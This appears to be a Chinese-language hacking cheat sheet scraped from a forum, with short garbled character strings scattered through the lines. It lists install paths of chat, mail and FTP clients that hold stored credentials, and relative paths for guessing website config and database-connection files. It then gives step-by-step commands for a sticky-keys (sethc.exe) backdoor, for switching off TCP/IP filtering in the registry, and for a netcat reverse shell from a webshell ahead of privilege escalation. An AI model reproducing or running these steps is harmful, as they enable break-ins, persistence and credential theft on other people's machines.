) U6 R6 T0 S; I: L. c1 K( gc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
- e. ~# {% J- }7 w# x4 H" ^, B% e/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
. Q* P" X. P* j. xc:\Program Files\Tencent\qq\User.db
3 e- x  i9 g! f5 Bc:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
- t) q( b1 h8 U, S% F1 n! i$ d2 lc:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
5 m" Y7 x/ o$ G) P) ec:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
; o. I" A( n& i* G% k/ p# ^c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

3.网站相对路径:

& k: `( W  D2 D! u/config.php
../../config.php
4 D7 a. z# ^% x8 B7 G../config.php
../../../config.php
/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
1 x1 M0 ~. d( {  |" a. L1 t$ T- ~../../../config.inc.php
/conn.php
" |0 S/ u' k8 D3 _6 u./conn.php
- ^. O; d4 k( v, ^0 T( F" C../../conn.php
../conn.php
../../../conn.php
. v4 j& C. G& u. f4 f' K/conn.asp
  _6 o1 M% C# q( N. U./conn.asp
0 G" m" _0 H( J+ B$ Y  T& m" w../../conn.asp
../conn.asp
1 h# h+ Y- [# q: f( F& o" b../../../conn.asp
! ^$ q( N; f, m! u/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
0 t+ \7 ^+ j1 u: \" @/config/config.php
../../config/config.php
! z/ G# L. p3 `5 M. h0 I0 G../config/config.php
../../../config/config.php
3 D7 ~  J3 j, K' a' S: p# w) x/config/config.inc.php
./config/config.inc.php
: u% y2 t6 K% r7 ~4 B/ C../../config/config.inc.php
../config/config.inc.php
2 J  l" _/ o3 ^+ `../../../config/config.inc.php
/config/conn.php
./config/conn.php
4 b( w" Z7 x) ]$ c' @7 X../../config/conn.php
* M- ~; _( M. e# H../config/conn.php
../../../config/conn.php
7 n& b1 f& b) O! v/config/conn.asp
./config/conn.asp
../../config/conn.asp
; R" d; F4 x! p# _/ C../config/conn.asp
: m1 V# g7 f4 E, [& X../../../config/conn.asp
/config/config.inc.php
1 C- D' _, }; c1 S* `+ N- O./config/config.inc.php
6 _) |2 L0 ]1 R* C8 m- o../../config/config.inc.php
* W' F; T& d/ S* R../config/config.inc.php
$ S. s3 R% b% C) K0 v../../../config/config.inc.php
/data/config.php
../../data/config.php
) d- K/ c5 X0 P) I9 Y! K0 O../data/config.php
4 Y1 ?  D' d. s! v3 V4 O../../../data/config.php
  A2 b" J# O! q+ ?/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
5 \& R$ \0 k6 o/ x! y! F3 l./data/conn.php
4 T) m' `9 j: B( G../../data/conn.php
3 q' W4 S7 k( f3 b9 w../data/conn.php
5 B  ~$ o; k" Z5 r  i../../../data/conn.php
/data/conn.asp
- {! `3 y6 d$ @; m2 z$ T+ L./data/conn.asp
$ v, J) W1 `) a../../data/conn.asp
9 s& g5 r: l( |9 l2 r../data/conn.asp
5 v; @6 r. v7 J* J1 x8 m../../../data/conn.asp
/data/config.inc.php
./data/config.inc.php
. {* {% v: b  c8 ^* S../../data/config.inc.php
../data/config.inc.php
) l4 V& H! c  s/ n../../../data/config.inc.php
/include/config.php
. h. B& b9 S4 W5 D% D& |  i0 g" q../../include/config.php
../include/config.php
* O4 ]* X4 H$ e; d# a../../../include/config.php
! U2 Y/ F! @# p; s/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
9 _( |6 Y# |& ?) a/include/conn.php
./include/conn.php
5 s( e/ o( z7 H2 Y../../include/conn.php
: L( t% S9 C: C../include/conn.php
../../../include/conn.php
/include/conn.asp
! P  g! `1 V2 I" q8 Q6 G" D./include/conn.asp
6 h( B( B- G8 p6 D4 C../../include/conn.asp
9 S6 ?4 c6 @* Q' [../include/conn.asp
../../../include/conn.asp
, A8 B+ W2 |! Q/include/config.inc.php
  [) ?% h+ b' Q- J# V; S  C0 ^./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
0 ?. D0 i/ q1 q* V; i6 @../../../include/config.inc.php
/inc/config.php
../../inc/config.php
../inc/config.php
../../../inc/config.php
3 r5 P3 a+ m" F- Y$ h4 r% B/inc/config.inc.php
# r; @( C! l# J9 @" t./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
. \5 Z- w* q' p./inc/conn.php
../../inc/conn.php
../inc/conn.php
/ y0 ~/ i# T+ {! L( J/ O* v../../../inc/conn.php
5 c, [, A) P7 A* J: U6 |# [0 t/inc/conn.asp
./inc/conn.asp
4 f7 Q& h5 O6 B6 k../../inc/conn.asp
1 u7 k' A( w& T0 O  _( G../inc/conn.asp
4 O2 m$ \7 x* S4 a../../../inc/conn.asp
/inc/config.inc.php
) X) d0 S9 I* e4 g# {) C./inc/config.inc.php
  j! G1 n/ s4 ^6 n' }6 H. x9 q8 ~../../inc/config.inc.php
../inc/config.inc.php
6 l1 H3 W1 g" O; M7 [; r0 K../../../inc/config.inc.php
- L& ]. t5 i) [. a* x/index.php
./index.php
../../index.php
../index.php
../../../index.php
/index.asp
./index.asp
../../index.asp
../index.asp
! ~5 ^2 U& o  D& v$ e/ r: P../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
' p/ F# J2 \+ h, e& \: ]
4 h9 Q' a- d5 Y- O5 b　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
0 g) z6 F' ~& V' H- E
* @) ~/ E1 t, @　　del c:\windows\system32\sethc.exe
$ q, K. h9 {8 e" J2 ]& u9 z
　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
/ n3 o/ x/ R! ~( N! h9 p% Z
/ F! A5 I3 s) y) H( g  d　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s
0 Z0 L- s1 L% M# \
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
6 B- ?  G9 i# w0 u- t" e去除TCPIP筛选
, @& G' h* C- _# S9 O" |9 d5 o. iTCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
) {# }* h0 F6 l/ ]$ d
分别用
0 ]8 j# y  a* r! f& yregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项
4 G- b7 N8 c9 ?+ B) v
0 H: j+ ^$ j6 m6 {8 V$ N然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
( S- j, i& p3 Y7 S% t4 U5 R
: d9 a; x2 d1 {再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
- b; y  o" w& Cregedit -s D:\c.reg
. d- k& k' ?/ v- n导入注册表即可

webshell提权小技巧
cmd路径:
: d2 b1 |* ^2 g  B$ h) n9 [$ vc:\windows\temp\cmd.exe
nc也在同目录下
8 f' _) K# N. n3 q7 i3 K例如反弹cmdshell：
' Y1 L: Y1 N0 E8 }"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。

: w/ @3 R  o. J" C而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
5 ?' x9 C) M$ b  _1 d4 T8 M1 l) e+ b  U却能成功。。
9 W9 K) H" R* u  |( \# H这个不是重点
2 C2 [7 s. ~: Z& h4 g3 _, F9 C我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功